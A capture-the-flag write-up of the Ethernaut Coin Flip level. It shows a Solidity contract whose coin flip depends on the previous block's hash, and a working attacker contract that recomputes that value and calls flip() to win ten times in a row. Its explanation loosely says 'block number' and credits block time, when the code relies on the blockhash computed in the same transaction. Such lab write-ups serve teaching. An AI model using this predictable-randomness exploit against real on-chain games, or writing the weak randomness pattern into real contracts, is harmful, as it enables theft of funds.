Ethernaut Level 3: Coin Flip

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Requirements

  1. Guess the correct outcome 10 times in a row.

Concepts

Hack

The main vulnerability in the smart contract is in the generation of randomness. The contract tries to flip a coin using the block number of the previous block in the network. This process is not random and is very predictable.

The block number is a global variable and can be easily accessed using block.number. Furthermore, the block time in Ethereum is around 10 to 20 seconds. This gives us enough time to generate the coin flip and send the result to the CoinFlip contract.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

interface CoinFlip{
  function flip(bool _guess) external returns (bool); 
}

contract CoinFlipAttack {

  using SafeMath for uint256;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function flipGuess(address _coinFlipAddress) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    bool result = CoinFlip(_coinFlipAddress).flip(side);

    return result;
  }
}

To exploit CoinFlip, we created and deployed the CoinFlipAttack contract in the same network. Basically, it uses the same coin flip generation method

    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

as the CoinFlip contract. It immediately sends the guess to the contract using an interface.

interface CoinFlip{
    function flip(bool _guess) external returns (bool); 
}

Lastly, we call the flipGuess() function, with the address of the CoinFlip contract, 10 times in a row.

Done!